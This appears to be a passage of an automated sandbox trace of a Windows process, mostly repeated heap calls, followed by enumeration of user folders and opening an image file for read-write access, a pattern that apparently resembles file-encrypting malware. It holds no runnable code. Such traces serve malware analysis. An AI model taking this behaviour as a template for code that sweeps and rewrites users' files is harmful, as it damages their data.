HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e28 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.691] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.691] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ebf8 [0117.691] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e28 | out: hHeap=0xd10000) returned 1 [0117.692] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0117.692] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.692] PathFindFileNameW (pszPath="") returned="" [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.692] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a83490, ftCreationTime.dwHighDateTime=0x1d4d4d4, ftLastAccessTime.dwLowDateTime=0x7c3da2f0, ftLastAccessTime.dwHighDateTime=0x1d4cbcf, ftLastWriteTime.dwLowDateTime=0x7c3da2f0, ftLastWriteTime.dwHighDateTime=0x1d4cbcf, nFileSizeHigh=0x0, nFileSizeLow=0xd6e7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wiR1L3MR2ebfVeG.mp3", cAlternateFileName="_WIR1L~1.MP3")) returned 0xffffffff [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f430 | out: hHeap=0xd10000) returned 1 [0117.692] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f430 [0117.692] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.692] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.692] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.693] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.693] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.694] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.694] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.695] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.695] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.696] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.696] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.697] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.697] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.698] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5430 [0117.698] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5430 | out: hHeap=0xd10000) returned 1 [0117.699] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.699] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0117.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.699] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.699] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.699] PathFindFileNameW (pszPath="") returned="" [0117.699] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a9e06e0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a9e06e0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0117.699] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a9e06e0, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a9e06e0, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.699] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69788fc0, ftCreationTime.dwHighDateTime=0x1d4c627, ftLastAccessTime.dwLowDateTime=0xc9fbfb50, ftLastAccessTime.dwHighDateTime=0x1d4d36c, ftLastWriteTime.dwLowDateTime=0xc9fbfb50, ftLastWriteTime.dwHighDateTime=0x1d4d36c, nFileSizeHigh=0x0, nFileSizeLow=0x159aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3vMt_2q3fAah.png", cAlternateFileName="3VMT_2~1.PNG")) returned 1 [0117.699] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3vMt_2q3fAah.png") returned=".png" [0117.699] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3vMt_2q3fAah.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3vmt_2q3faah.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.700] GetFileSizeEx (in: hFile=0x610, 